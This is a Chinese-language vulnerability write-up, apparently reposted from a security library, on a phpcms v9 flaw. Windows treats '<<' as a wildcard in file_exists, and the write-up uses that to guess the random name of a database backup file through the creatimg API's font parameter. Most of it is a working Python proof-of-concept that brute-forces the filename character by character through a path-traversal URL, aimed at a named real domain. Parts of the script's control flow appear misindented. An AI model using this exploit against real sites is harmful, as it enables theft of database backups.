简要描述

一处逻辑漏洞导致备份文件名可猜测,影响phpcmsv9所有版本。

一、漏洞原理

我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

二、漏洞形成

程序文件apicreatimg.php里的$fontfile变量可控随后便进入file_exists函数判断。当文件存在和不存在时所返回的页面是不一样的。所以完全可以利用这个点来把长达30多位随机字母名称的备份文件推算出来(备份文件在web目录)。

三、你们想要的漏洞POC

#!/usr/bin/env python
#coding=utf-8
import urllib2
def check(url):  
  mark = True  
  req = urllib2.Request(url)    
  req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')    
  response = urllib2.urlopen(req)    
  content = response.read()    
  if 'Cannot' in content:        
      mark = False    
  return mark
  
def guest(target):    
    arr = []    
    num = map(chr, range(48, 58))    
    alpha = map(chr, range(97, 123))    
    exploit = '%s/api.php?
    op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
    
    while True:        
       for char in num:            
        if check(exploit % (target, ''.join(arr), char)):               
           arr.append(char)                
           continue        
           
        if len(arr) < 20:            
            for char in alpha:                 
                 if check(exploit % (target, ''.join(arr), char)):                    
                     arr.append(char)                    
                     continue        
                
        elif len(arr) == 20:            
              arr.append('_db_')        
              
        elif len(arr)== 29:            
              arr.append('_1.sql')            
              break        
              
        if len(arr) < 1:            
            print '[*]not find!'            
            return    
            
        print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
        
    if __name__ == "__main__":    
        url = 'http://security.douyu.com'    
        #test    
        guest(url)

四、POC运行效果


转自: 脉搏文库 作者: 斗鱼SRC